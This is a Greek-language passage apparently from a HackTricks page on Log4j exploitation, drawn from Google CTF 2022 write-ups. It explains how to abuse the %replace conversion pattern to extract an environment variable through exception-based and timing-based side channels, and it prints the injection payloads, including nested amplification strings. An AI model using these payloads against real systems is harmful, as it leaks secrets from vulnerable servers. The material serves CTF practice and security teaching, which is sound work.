Αυτό δεν βρέθηκε χρήσιμο για να εξάγουμε δεδομένα μέσα στο μήνυμα σφάλματος, επειδή η αναζήτηση δεν επιλύθηκε πριν από το conversion pattern, αλλά θα μπορούσε να είναι χρήσιμο για άλλα πράγματα όπως η ανίχνευση.
Conversion Patterns Regexes
Ωστόσο, είναι δυνατόν να χρησιμοποιήσεις κάποια conversion patterns που υποστηρίζουν regexes για να εξάγεις πληροφορίες από μια αναζήτηση χρησιμοποιώντας regexes και κακοποιώντας δυαδική αναζήτηση ή χρονικά βασισμένες συμπεριφορές.
- Δυαδική αναζήτηση μέσω μηνυμάτων εξαίρεσης
Το conversion pattern %replace
μπορεί να χρησιμοποιηθεί για να αντικαταστήσει περιεχόμενο από μια αλφαριθμητική συμβολοσειρά ακόμη και χρησιμοποιώντας regexes. Λειτουργεί ως εξής: replace{pattern}{regex}{substitution}
Κακοποιώντας αυτή τη συμπεριφορά θα μπορούσες να κάνεις την αντικατάσταση να προκαλέσει μια εξαίρεση αν το regex ταίριαζε με οτιδήποτε μέσα στη συμβολοσειρά (και καμία εξαίρεση αν δεν βρεθεί) όπως αυτό:
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
- Βασισμένο στον χρόνο
Όπως αναφέρθηκε στην προηγούμενη ενότητα, %replace
υποστηρίζει regexes. Έτσι, είναι δυνατόν να χρησιμοποιηθεί payload από τη σελίδα ReDoS για να προκαλέσει ένα timeout σε περίπτωση που βρεθεί η σημαία.
Για παράδειγμα, ένα payload όπως το %replace{${env:FLAG}}{^(?=CTF)((.
)
)*salt$}{asd}
θα ενεργοποιούσε ένα timeout σε εκείνο το CTF.
Σε αυτή την αναφορά, αντί να χρησιμοποιηθεί μια επίθεση ReDoS, χρησιμοποιήθηκε μια επίθεση ενίσχυσης για να προκαλέσει μια διαφορά χρόνου στην απάντηση:
/%replace{ %replace{ %replace{ %replace{ %replace{ %replace{ %replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################} }{#}{######################################################}
Αν η σημαία αρχίζει με
flagGuess
, η ολόκληρη σημαία αντικαθίσταται με 29#
-s (χρησιμοποίησα αυτό το χαρακτήρα γιατί πιθανότατα δεν θα είναι μέρος της σημαίας). Κάθε ένα από τα 29#
-s αντικαθίσταται στη συνέχεια με 54#
-s. Αυτή η διαδικασία επαναλαμβάνεται 6 φορές, οδηγώντας σε ένα συνολικό αριθμό29*54*54^6* =`` ``
96816014208
#
-s!Η αντικατάσταση τόσων πολλών
#
-s θα ενεργοποιήσει το timeout των 10 δευτερολέπτων της εφαρμογής Flask, το οποίο με τη σειρά του θα έχει ως αποτέλεσμα την αποστολή του κωδικού κατάστασης HTTP 500 στον χρήστη. (Αν η σημαία δεν αρχίζει μεflagGuess
, θα λάβουμε έναν μη 500 κωδικό κατάστασης)
Αναφορές
- https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
- https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/
- https://www.youtube.com/watch?v=XG14EstTgQ4
- https://tryhackme.com/room/solar
- https://www.youtube.com/watch?v=Y8a5nB-vy78
- https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
- https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/
- https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.